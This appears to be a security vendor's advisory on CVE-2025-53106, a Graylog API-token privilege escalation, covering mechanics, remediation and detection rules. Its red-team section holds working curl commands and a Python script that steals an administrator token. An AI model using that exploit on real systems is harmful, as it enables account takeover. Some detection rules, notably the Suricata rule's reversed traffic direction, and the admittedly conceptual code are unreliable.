CVE-2025-53106

Executive Summary

CVE-2025-53106 is a privilege escalation vulnerability in Graylog, an open-source log management platform. The flaw resides in the API token creation mechanism, where a low-privileged authenticated user can craft requests to create API tokens for any user, including the local Administrator, provided they know the target user's internal ID. This allows the attacker to impersonate a privileged user and gain unauthorized access to the Graylog system. The vulnerability affects Graylog versions 6.2.0 through 6.2.3 and 6.3.0-alpha.1 through 6.3.0-rc.1. Patches are available in versions 6.2.4 and 6.3.0-rc.2. A configuration-based workaround is also available.

Supply Chain & Package Security

Graylog is a Java-based application distributed as a tarball or via Docker. The vulnerability is in the application's own code, not in a third-party package. However, organizations using Graylog should verify the integrity of their Graylog binaries and ensure they are sourced from official channels. The patch is applied by updating the Graylog server package.

CVSS Breakdown & Threat Level

CVSS Score: 9.9 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs a valid user account.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full read access to logs and system data.
• Integrity (I): High (H) – Full write access to logs and system configuration.
• Availability (A): High (H) – Potential to disrupt logging services.

Threat Level: Critical. The low barrier to entry (authenticated user) and high impact make this a severe risk for any Graylog deployment.

Deep Dive & Mechanics

The vulnerability is a Missing Authorization (CWE-862) flaw in the API token creation endpoint. Graylog uses a REST API for management, including creating personal access tokens (PATs). The intended design is that a user can only create tokens for themselves. However, the permission check in the vulnerable versions does not properly validate that the user ID in the request matches the authenticated user.

Attack Flow:

1. Reconnaissance: The attacker logs into Graylog with a low-privileged account (e.g., a "Viewer" role).
2. ID Discovery: The attacker needs the internal user ID of the target (e.g., the Administrator). This ID can often be obtained by enumerating users via the API (e.g., GET /api/users) or by observing the user's profile URL (e.g., /system/users/ followed by the ID).
3. Token Creation: The attacker sends a crafted POST request to the token creation endpoint (e.g., POST /api/users/{target_user_id}/tokens) with a JSON body containing a token name. The server, due to the weak permission check, creates a token for the target user and returns the token value.
4. Privilege Escalation: The attacker now possesses a valid API token for the Administrator (or any other privileged user). They can use this token to authenticate API calls with full administrative privileges.
5. Persistence & Impact: The attacker can now access all logs, modify system configuration, create new users, or exfiltrate sensitive data.

Vulnerable vs. Patched Code

The vulnerability is in the server-side code that handles token creation. The exact code is not publicly available, but the logic is as follows:

Vulnerable Code (Conceptual):

// Vulnerable: Does not check if the authenticated user matches the target user
@POST
@Path("/users/{userId}/tokens")
public Response createToken(@Auth User authenticatedUser, @PathParam("userId") String targetUserId, TokenCreateRequest request) {
    // Directly creates token for targetUserId without verifying ownership
    User targetUser = userService.load(targetUserId);
    String token = tokenService.createToken(targetUser, request.getName());
    return Response.ok(token).build();
}

Patched Code (Conceptual):

// Patched: Verifies that the authenticated user is the same as the target user
@POST
@Path("/users/{userId}/tokens")
public Response createToken(@Auth User authenticatedUser, @PathParam("userId") String targetUserId, TokenCreateRequest request) {
    // Check if the authenticated user is the target user or has admin privileges
    if (!authenticatedUser.getId().equals(targetUserId) && !authenticatedUser.hasRole("Admin")) {
        return Response.status(403).entity("Forbidden").build();
    }
    User targetUser = userService.load(targetUserId);
    String token = tokenService.createToken(targetUser, request.getName());
    return Response.ok(token).build();
}

The patch adds an authorization check that ensures only the user themselves or an administrator can create tokens for a given user ID.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid Graylog user account (any role).
• Knowledge of the target user's ID (e.g., Administrator's ID, often admin or a UUID).

Exploitation Steps:

1. Obtain Target User ID:

   # List users (requires authenticated session)
   curl -k -u "attacker:password" -X GET "https://graylog.example.com/api/users"
   

   Look for the id field of the target user (e.g., "id": "admin" or a UUID).

2. Create API Token for Target User:

   # Replace TARGET_USER_ID with the actual ID
   curl -k -u "attacker:password" -X POST \
     "https://graylog.example.com/api/users/TARGET_USER_ID/tokens" \
     -H "Content-Type: application/json" \
     -d '{"name": "malicious_token"}'
   

   The response will contain the token value.

3. Use the Token for Privileged Access:

   # Use the stolen token to access admin-level resources
   curl -k -H "Authorization: Bearer STOLEN_TOKEN" \
     "https://graylog.example.com/api/system/inputs"
   

Automated Exploit (Python):

import requests
import sys

if len(sys.argv) != 4:
    print(f"Usage: {sys.argv[0]} <target_url> <username> <password>")
    sys.exit(1)

target = sys.argv[1].rstrip('/')
username = sys.argv[2]
password = sys.argv[3]

session = requests.Session()
session.auth = (username, password)

# Step 1: Get user list to find admin ID
users_resp = session.get(f"{target}/api/users")
users_resp.raise_for_status()
users = users_resp.json()

admin_id = None
for user in users.get('users', []):
    if user.get('username') == 'admin':
        admin_id = user.get('id')
        break

if not admin_id:
    print("[-] Could not find admin user ID")
    sys.exit(1)

print(f"[+] Found admin user ID: {admin_id}")

# Step 2: Create token for admin
token_resp = session.post(
    f"{target}/api/users/{admin_id}/tokens",
    json={"name": "pwned_token"}
)
token_resp.raise_for_status()
token = token_resp.json().get('token')
print(f"[+] Stolen admin token: {token}")

# Step 3: Verify access
verify_resp = requests.get(
    f"{target}/api/system",
    headers={"Authorization": f"Bearer {token}"}
)
if verify_resp.status_code == 200:
    print("[+] Privilege escalation successful!")
else:
    print("[-] Failed to escalate privileges")

Blue Team (Detection & Hardening)

Detection:

• Monitor API logs for token creation requests where the authenticated user differs from the target user ID.
• Alert on multiple token creation requests from a single user in a short time.
• Look for API tokens being used from IP addresses not associated with the legitimate user.

Hardening:

• Apply the patch immediately (upgrade to 6.2.4 or 6.3.0-rc.2).
• As a workaround, disable the "Allow users to create personal access tokens" setting in System > Configuration > Users.
• Implement network segmentation to limit access to the Graylog API.
• Enable multi-factor authentication (MFA) for all Graylog users.
• Regularly audit API tokens and revoke any that are suspicious.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/users/*/tokens where the authenticated user is not the target user.
  • Unusual API token usage from IP addresses not associated with the token's owner.
• System IOCs:
  • API tokens created for users other than the authenticated user.
  • Unexpected changes to Graylog configuration or user roles.
  • Log entries showing token creation events with mismatched user IDs.
• File IOCs:
  • Graylog server logs showing 403 Forbidden errors after patch (if attempted exploitation).
  • Graylog audit logs with token_created events for unexpected users.

Detection Engineering

YARA Rule

rule Detect_Graylog_Token_Creation_Abuse {
    meta:
        description = "Detects Graylog API token creation requests with mismatched user IDs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53106"
    strings:
        $token_endpoint = "/api/users/"
        $token_action = "/tokens"
        $http_post = "POST"
    condition:
        $http_post and $token_endpoint and $token_action
}

Sigma Rule

title: Graylog API Token Creation Abuse
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to create API tokens for users other than the authenticated user in Graylog.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53106
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: graylog
detection:
    selection:
        http_method: POST
        url_path|contains: "/api/users/"
        url_path|endswith: "/tokens"
    condition: selection
falsepositives:
    - Legitimate admin creating tokens for other users (should be rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-53106 Graylog API Token Creation Abuse";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/users/";
    http_uri;
    content:"/tokens";
    http_uri;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-53106;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Graylog to version 6.2.4 or 6.3.0-rc.2 (or later).
2. Workaround: If patching is not immediately possible, disable the "Allow users to create personal access tokens" setting in System > Configuration > Users. This will prevent all users (including legitimate ones) from creating tokens, which may impact functionality.

Long-Term Mitigations:

• Implement the principle of least privilege for Graylog user accounts.
• Regularly audit user roles and permissions.
• Enable detailed audit logging for all API actions.
• Use a Web Application Firewall (WAF) to block suspicious API requests.
• Monitor for anomalous API token usage patterns.

Verification of Patch: After applying the patch, verify that the vulnerability is fixed by attempting to create a token for another user (using a test account). The request should return a 403 Forbidden error.

Valters IT
Securing Digital Frontiers